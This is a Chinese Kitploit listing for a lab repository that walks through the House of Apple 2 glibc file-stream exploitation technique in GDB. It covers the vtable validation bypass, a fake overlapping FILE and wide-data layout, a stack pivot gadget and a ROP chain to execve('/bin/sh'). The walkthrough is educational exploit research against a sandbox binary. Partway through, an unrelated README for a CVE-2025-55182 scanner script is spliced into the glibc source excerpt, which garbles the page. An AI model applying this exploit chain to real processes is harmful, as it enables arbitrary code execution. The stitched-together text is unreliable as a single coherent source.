Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
house_of_apple_2 — glibc 2.43 上 House of Apple 2 FSOP 技术的交互式 GDB 演练,附带可复现的沙箱环境,涵盖 vtable 绕过、栈迁移和 ROP。 | Kitploit
工具/GitHubGitHub/jazho76/house_of_apple_2
内存取证漏洞利用逆向工程Shellcode调试器论文与研究学习与教育Payload 开发二进制利用实验室与实践
GitHubjazho76/house_of_apple_2

house_of_apple_2

31101个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

glibc 2.43 上 House of Apple 2 FSOP 技术的交互式 GDB 演练,附带可复现的沙箱环境,涵盖 vtable 绕过、栈迁移和 ROP。

查看仓库

在现代 glibc 上探索 House of Apple 2

本仓库是一个自包含的演练场,灵感来自 pwn.college 的 File Struct Exploitation 模块。它并未引入 House of Apple 2 的新变体,只是解答了我的好奇心:该技术在新版 glibc 上表现如何,以及它是否仍是一条可行的利用路径。本文档提供了一个交互式 GDB 演练,读者可以配合沙箱一起操作,从而对该原语形成更直观的理解。所有实验均使用 glibc 2.43,即撰写本文时 Ubuntu 26.04 和 Fedora 44 所打包的版本。

面向文件流的编程(FSOP)。 这涉及操纵 glibc 文件流结构以劫持控制流。其中一种方式是通过破坏 _IO_FILE_plus 的 vtable 分派机制。现代 glibc 会校验该 vtable,因此将其替换为任意地址这种显而易见的方法行不通。

House of Apple 2 最初由 Roderick 提出,它通过使用一个合法的 _IO_FILE_plus vtable 来绕过这一限制,进而到达宽字符流机制,在那里次级 vtable 会被直接分派而不进行范围校验。这提供了一个 arbitrary call 原语,我们可以将其升级为栈迁移和 ROP 链。

利用前提

本次探索假设我们可以覆写一个 FILE 结构,并且同时拥有堆泄漏和 libc 泄漏。目标二进制文件已经提供了这些条件。

沙箱环境

沙箱运行 Ubuntu 26.04 LTS,为我们提供了一个现代环境来探索该技术。

镜像包含 GDB、pwndbg、pwntools、ropper 和 tmux。它还包含一个目标二进制文件,带有交互式菜单,用于调用诸如 fopen、fread、fwrite 和 fclose 等文件流操作。这为我们提供了一种便捷的方式,在调试和测试想法时操纵流。

使用以下命令构建并运行沙箱:``` ./build.sh ./run.sh

root@kitploit:~
## 探索

让我们从检查 `_IO_FILE` 和 `_IO_FILE_plus` 结构开始:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

从实际角度来看,_IO_FILE_plus 是一个带有 vtable 指针的 _IO_FILE。这立刻显得很有趣:如果我们能控制这个指针,就可能重定向间接调用并劫持控制流。

检查文件流 vtable

要检查 vtable,让我们检查由 fopen 返回的 FILE 指针。```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
该指针指向 `_IO_file_jumps` 表。

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

这是一组 21 个函数指针。文件流操作会根据执行路径通过不同的条目进行分发。

### 跟踪 `fwrite` 路径

在本次探索中,我将重点关注 `fwrite` 路径。在每个函数上设置断点并调用 `fwrite` 后,我们命中的第一个断点是 `_IO_file_xsputn`。

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

该调用发生在 `fwrite+216` 处。这与 [glibc 源码](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) 相符:`_IO_sputn` 是一个通过 vtable 进行分发的宏,对于此流,它解析为 `_IO_file_xsputn`。```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

尝试替换 vtable

作为首次尝试,让我们用 desired_func - 0x38 覆盖 vtable 指针,并在 fwrite+216 处设置断点。```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

执行在到达断点之前就中止了。错误表明 glibc 在执行间接调用之前会验证 vtable 指针。让我们检查回溯,看看这发生在哪里。

`fwrite` 到达 `_IO_vtable_check`,该函数拒绝了伪造的 vtable 指针。

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

该实现包含一种接受外部 vtable 的机制,但它不在我们的控制之下。相关代码可在 [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) 中找到。

### 理解 vtable 验证

当 `_IO_vtable_check` 被调用时已经太晚了,vtable 验证已经失败。回溯中更早的 `IO_validate_vtable` 帧才是关键部分,所以我们改为检查它。```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

GDB 无法将 IO_validate_vtable 解析为符号。查看源代码,我们可以看到它被内联到了 fwrite 中。```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
仅当 vtable 指针落在 `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` 范围内时才会被接受。因此我们不能随意将其指向任意位置。不过,这仍然是一个相当大的区域,包含多个跳转表,为我们提供了可探索的空间。

有效范围的开头如下:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

我们现在已经理解了基本机制及其主要约束:`_IO_FILE_plus` 的 vtable 必须指向 glibc 有效 vtable 区域内的某个位置。这阻止了显而易见的做法,但并没有完全堵死这条路。

House of Apple 2 通过宽字符流机制绕过了这一限制,从而到达第二个 vtable。这个第二个 vtable 不会以同样的方式被验证。让我们在 GDB 中跟踪这条路径,看看各个部分是如何连接起来的。

### 宽字符流机制

回到 `_IO_FILE`,有一个 `_wide_data` 字段指向一个 `_IO_wide_data` 结构。这个结构拥有自己的 vtable。```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

它的布局看起来与 _IO_FILE 非常相似。它是 glibc 处理宽字符流机制的一部分。

我们要走的路径经过 _IO_wfile_overflow,它最终会调用 _IO_wdoallocbuf。```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
## 使用示例

### 基本用法

```bash
# 扫描单个目标
python3 cve_2025_55182.py -u https://target.example.com

# 扫描多个目标
python3 cve_2025_55182.py -f targets.txt

# 使用代理
python3 cve_2025_55182.py -u https://target.example.com -p http://127.0.0.1:8080

# 详细输出
python3 cve_2025_55182.py -u https://target.example.com -v

高级用法

root@kitploit:~
# 自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -t 20 --timeout 15

# 保存结果到文件
python3 cve_2025_55182.py -f targets.txt -o results.txt

# 使用自定义 User-Agent
python3 cve_2025_55182.py -u https://target.example.com -A "Mozilla/5.0 (Custom)"

输出示例

root@kitploit:~
[+] 目标: https://target.example.com
[+] 正在检查 CVE-2025-55182 漏洞...
[!] 目标存在漏洞!
[!] 响应时间: 5.23s
[!] 状态码: 200
[+] 结果已保存至 results.txt

免责声明

本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。请务必在测试前获得适当授权。

参考资料

  • CVE-2025-55182
  • React 安全公告
  • Next.js 安全更新

许可证

本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。

贡献

欢迎贡献!请随时提交 Pull Request。

联系方式

  • 作者: Security Researcher
  • GitHub: @username
  • Twitter: @username

⭐ 如果这个项目对您有帮助,请给它一个星标!```c void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); }

root@kitploit:~
`_IO_WDOALLOCATE` 是另一个调度宏,这次通过宽 vtable 进行操作。间接调用在反汇编中清晰可见:

![8](https://assets.kitploit.com/production/public/readmes/56272/bdf47e0911ab37fa9e95437956b52081cb64934c7ffc130655ee1958c81455f4/19c64fde65274690a367bc2cfb7150cf9070ddf4c40fcb8954f840728f6468d6-display-v1.webp)

有趣的地方在这里。在 `_IO_wdoallocbuf+44` 处,glibc 从 `_wide_data` 加载 `_wide_vtable` 指针。在 `_IO_wdoallocbuf+55` 处,它调用 `_wide_vtable + 0x68` 处的函数指针。这一次没有范围验证。

### 连接两个 vtable

现在各个部分开始连接起来。`_IO_wfile_overflow` 属于 `_IO_wfile_jumps`,而后者存在于第一个 vtable 检查所接受的有效范围内。从那里,执行可以通过未经验证的 `_wide_vtable` 到达另一个间接调用。

![9](https://assets.kitploit.com/production/public/readmes/56272/bbfe2649422c1123130eb0b1d7e84d7ec0b9fa1fdaf6ce586b9d0739999b219a/356e3eed0f55e874ff84a86c880c78d65d1b95d474141efbd70c9a5efe115409-display-v1.webp)```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1

总体思路现在是:

  1. 设置 _IO_FILE_plus 的 vtable,使相关槽位解析为 _IO_wfile_overflow。
  2. 将 _wide_data 指向一个伪造的 _IO_wide_data 结构,其 _wide_vtable 为 desired_function - 0x68。

在尝试下一次运行之前,我们需要满足几个条件才能到达 _IO_wdoallocbuf。

在 _IO_wfile_overflow 中:

  • _flags 不能包含 _IO_NO_WRITES(0x0008)
  • _wide_data->_IO_write_base 必须为 NULL

在 _IO_wdoallocbuf 中:

  • fp->_wide_data->_IO_buf_base 必须为 NULL
  • _flags 不能包含 _IO_UNBUFFERED(0x0002)

还有一个细节。_IO_FILE 包含一个 _lock 字段,glibc 在获取和释放流锁时会解引用它。我们需要将其指向一个零初始化的可写区域,大小为 0x10 字节,否则流操作会在到达我们的调用之前崩溃。

控制流劫持

一切就绪,让我们再试一次。这次外部范围检查通过了,第一个间接调用分派到 _IO_wfile_overflow。

10

伪造的结构也满足 _IO_wfile_overflow 中的条件。执行继续进入 _IO_wdoallocbuf。最后,_IO_wdoallocbuf 中的检查通过,_IO_wdoallocbuf+55 处的间接调用落入我们的 win 函数。

顺便说一下,值得看看最终间接调用之前的寄存器状态。

13

RDI 和 RDX 都指向受控 FILE 结构的开头。我们并不直接控制第一个和第三个参数寄存器,但我们控制它们所指向的内存。酷!

构造原语

该原语实现在 ./exp/house_of_apple2.py 中。直接的方法是将一个完整的 _IO_FILE_plus、一个完整的 _IO_wide_data 和一个单独的伪造 wide vtable 依次放置。这样可以工作,但也会需要相当大的缓冲区。

我们可以通过重叠它们来缩小 payload。

伪造的 _IO_wide_data 从偏移 0x08 开始,位于伪造的 _IO_FILE_plus 内部。这之所以可行,是因为重叠中涉及的大多数字段可以保持为零。方便的是,_wide_data->_IO_write_base 和 _wide_data->_IO_buf_base 与 FILE 结构中的 _IO_write_base 和 _IO_buf_base 重叠,并且这两对都需要为 NULL。

布局的重要部分如下:

最后两个条目是任意调用的关键。_wide_vtable 指回 payload 中偏移 0x78 处。当 _IO_wdoallocbuf 通过 _wide_vtable + 0x68 分派时,它读取存储在偏移 0xe0 处的函数指针:```text wide_vtable = base + 0x78 wide_vtable+0x68 = base + 0xe0

root@kitploit:~
这里是我们放置想要调用的函数地址的地方。

外层 vtable 取决于用于触发原语的操作。对于 `fwrite`,分派通过 `+0x38` 处的槽位进行,因此会调整指针,直到该槽位解析为 `_IO_wfile_overflow`。该实现还通过应用相应的分派偏移量来支持 `fread` 和 `fclose`。

通过这种布局,单个紧凑缓冲区包含了伪造的 `FILE` 结构、重叠的 `_IO_wide_data`、伪造的宽 vtable 以及最终的函数指针。

## 栈迁移

此时我们拥有了任意调用原语,但对寄存器的控制有限。下一步是将栈迁移到可控内存中并开始 ROP 链。

在 `__push___start_context+63` 处有一个有用的 `mov rsp, rdx; ret` 栈迁移 gadget。```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
   0x00007f46729440d0 <+0>:	endbr64
   0x00007f46729440d4 <+4>:	rdsspq rcx
   0x00007f46729440d9 <+9>:	mov    rdx,rsp
   0x00007f46729440dc <+12>:	mov    rsi,QWORD PTR [rdi+0xa0]
   0x00007f46729440e3 <+19>:	lea    rsp,[rsi+0x8]
   0x00007f46729440e7 <+23>:	mov    rsi,QWORD PTR [rdi+0x3b8]
   0x00007f46729440ee <+30>:	mov    rax,QWORD PTR [rdi+0x3b0]
   0x00007f46729440f5 <+37>:	rstorssp QWORD PTR [rax+rsi*1-0x8]
   0x00007f46729440fb <+43>:	saveprevssp
   0x00007f46729440ff <+47>:	call   0x7f4672944106 <__push___start_context+54>
   0x00007f4672944104 <+52>:	jmp    0x7f4672944120 <__start_context>
   0x00007f4672944106 <+54>:	rstorssp QWORD PTR [rcx-0x8]
   0x00007f467294410b <+59>:	saveprevssp
   0x00007f467294410f <+63>:	mov    rsp,rdx
   0x00007f4672944112 <+66>:	ret
End of assembler dump.

我们已经知道,在任意调用发生时,RDX 指向我们控制的 FILE 结构的起始位置。如果我们调用这个 gadget,RSP 会直接移入我们的伪造结构,并从那里存储的值继续执行。这应该能给我们一个 ROP 链的起点。

ROP

有一个问题,ROP 链与伪造的 FILE 结构在内存上重叠,因此 _IO_wdoallocbuf 的字段约束仍然适用。第一个 qword 与 _flags 重叠,这意味着它的值不能设置 _IO_NO_WRITES(0x8)或 _IO_UNBUFFERED(0x2)。因此,我们的第一个 gadget 需要一个最低有效字节中这些位为清零的地址。

位于 _nl_archive_subfreeres+96 的 ret gadget 应该可以胜任。它实际上并不是原始代码中该边界处存在的 ret 指令,但它是该偏移地址处的一个有效的指令中间 gadget。它的最低有效字节是 0x00,因此将该地址放入 _flags 不会设置 _IO_NO_WRITES 或 _IO_UNBUFFERED。```asm pwndbg> tele 0x7f4672919d00 1 00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

root@kitploit:~
我们在链中还有两个空洞,因为 `_IO_write_base` 和 `_IO_buf_base` 必须保持为 `NULL`。我们仍然可以通过将它们作为前导 `pop` gadget 的零值来消耗,从而使这些槽位变得有用。

最后,我们无法覆盖位于偏移 `0x88` 处的 `_lock`。这为我们留下了 17 个 qword 用于内联 ROP 链,这足以实现对该进程的完全控制。

[./exp/ace.py](https://github.com/jazho76/house_of_apple_2/blob/main/exp/ace.py) 中的 ROP 布局为:```
0x00: _nl_archive_subfreeres+96 # pointer to ret instruction
				# with least significant byte as 0x00
0x08: pop rdi gadget
0x10: "/bin/sh" string in libc
0x18: pop rsi gadget
0x20: 0x0000000000000000	# _IO_write_base as NULL
0x50: address to execve		# call execve("/bin/sh", NULL)

14

我们现在已经实现了任意代码执行。

进一步阅读

  • House of Apple:一种新的 glibc IO 攻击方法(2),Roderick 发表的 House of Apple 2 原始文章。
  • fsop-finder,在探索现代 FSOP 路径时独立识别出了 _IO_wdoallocbuf 路径。
  • Angry-FSROP,一种借助工具寻找控制流路径的方法。
  • 深入探究 FSOP,更广泛地涵盖了 FILE 内部结构、已知技术以及其他有趣的路径。

结论

House of Apple 2 展示了有效的 glibc vtable 如何到达宽字符机制,并通过未经校验的次级 vtable 进行分发。在沙箱所使用的 glibc 2.43 构建上,同一条路径仍然可以复现。尽管不同构建之间的布局、偏移和 gadget 可能发生变化,但底层的控制流思路依然适用。

下载工具
Payload 偏移_IO_FILE_plus 解释_IO_wide_data 解释值
0x00_flags-不能设置 _IO_NO_WRITES 或 _IO_UNBUFFERED
0x08_IO_read_ptr伪造 _IO_wide_data 的起始位置零
0x20_IO_write_base_IO_write_baseNULL
0x38_IO_buf_base_IO_buf_baseNULL
0x78_old_offset伪造 wide vtable 的起始位置重叠的 vtable 数据
0x88_lock-指向可写内存中零值的指针
0xa0_wide_data-base + 0x08
0xd8_IO_FILE_plus vtable-分派到 _IO_wfile_overflow 的位置
0xe0-+0x68 处的伪造 wide vtable 条目任意函数的地址
0xe8-_wide_vtablebase + 0x78